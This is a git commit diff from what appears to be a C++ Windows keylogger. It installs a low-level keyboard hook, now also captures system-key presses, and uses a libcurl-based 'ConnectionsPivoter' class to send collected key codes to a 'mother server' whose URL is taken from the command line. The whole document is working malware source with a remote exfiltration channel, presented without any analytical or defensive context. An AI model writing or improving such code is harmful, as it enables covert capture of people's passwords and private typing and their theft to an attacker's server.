ConnectionsPivoter: Fix keys check for system keys as well (on press)

This commit is contained in:
osamu-kj 2022-12-15 22:47:12 +01:00
parent 0b54840c5f
commit 8903fa08a3
3 changed files with 26 additions and 3 deletions

View File

@ -16,7 +16,7 @@
#define KEYS_LIMIT 100 #define KEYS_LIMIT 100
HHOOK keyboard_events_hook; HHOOK keyboard_events_hook;
std::vector<std::string> virt_codes; std::vector<std::string> virt_codes;
ConnectionsPivoter mother_server_pv = ConnectionsPivoter("http://192.168.1.108:443/client-fetch-keys"); ConnectionsPivoter mother_server_pv = ConnectionsPivoter();
void stack_codes() { void stack_codes() {
if (virt_codes.size() < KEYS_LIMIT) if (virt_codes.size() < KEYS_LIMIT)
@ -28,7 +28,7 @@ void stack_codes() {
} }
LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) { LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
if (wParam == WM_KEYDOWN) { if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam; KBDLLHOOKSTRUCT* kbd_struct = (KBDLLHOOKSTRUCT*)lParam;
DWORD virt_code = kbd_struct->vkCode; DWORD virt_code = kbd_struct->vkCode;
@ -44,7 +44,18 @@ LRESULT CALLBACK keyboard_callback(int nCode, WPARAM wParam, LPARAM lParam) {
return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam); return CallNextHookEx(keyboard_events_hook, nCode, wParam, lParam);
} }
int main() { int main(int argc, char **argv) {
if (argc != 2) {
std::cout << "Error: wrong use of arguments!" << std::endl;
return 1;
}
if (DEBUG)
for (int i = 0; i < argc; i++)
std::cout << "Argument " << i << " value: " << argv[i] << std::endl;
mother_server_pv.set_url(argv[1]);
keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0); keyboard_events_hook = SetWindowsHookExA(WH_KEYBOARD_LL, keyboard_callback, 0, 0);

View File

@ -35,6 +35,11 @@ ConnectionsPivoter::ConnectionsPivoter(std::string url) {
this->curl = curl_easy_init(); this->curl = curl_easy_init();
} }
ConnectionsPivoter::ConnectionsPivoter() {
curl_global_init(CURL_GLOBAL_ALL);
this->curl = curl_easy_init();
}
BOOL ConnectionsPivoter::send_alive_signal() { BOOL ConnectionsPivoter::send_alive_signal() {
} }

View File

@ -21,6 +21,13 @@ public:
CURL* curl; CURL* curl;
ConnectionsPivoter(std::string url); ConnectionsPivoter(std::string url);
ConnectionsPivoter();
/// <summary>Update the url value</summary>
/// <param name='new_url:'>New url value</param>
void set_url(std::string new_url) {
this->url = new_url;
};
/// <summary>Send an alive signal to the mother server</summary> /// <summary>Send an alive signal to the mother server</summary>
/// <returns>TRUE if successful</returns> /// <returns>TRUE if successful</returns>